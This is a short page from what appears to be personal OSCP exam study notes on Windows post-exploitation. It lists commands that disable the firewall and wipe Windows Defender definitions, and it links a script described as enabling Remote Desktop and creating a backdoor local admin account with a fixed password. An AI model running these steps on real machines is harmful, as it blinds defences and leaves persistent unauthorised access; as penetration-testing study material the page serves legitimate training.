> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/post-exploitation/disable-firewall-and-defender.md).

# Disable Firewall & Defender

Requires Admin privileges

```
NetSh Advfirewall set allprofiles state off
"C:\\Program Files\\Windows Defender\\MpCmdRun.exe" -removedefinitions -all
```

Restart Defender

```
"C:\Program Files\Windows Defender\MpCmdRun.exe" -SignatureUpdate
```

<details>

<summary>Use Post-Exploit Script</summary>

[post\_admin.ps1](https://raw.githubusercontent.com/n000b3r/PrivEsc/refs/heads/main/Windows/post_scripts/post_admin.ps1)

* Disable Windows Firewall
* Remove Windows Defender Definitions
* Enable Remote Desktop
* Create local admin (bill:P\@ssw0rd123!)

</details>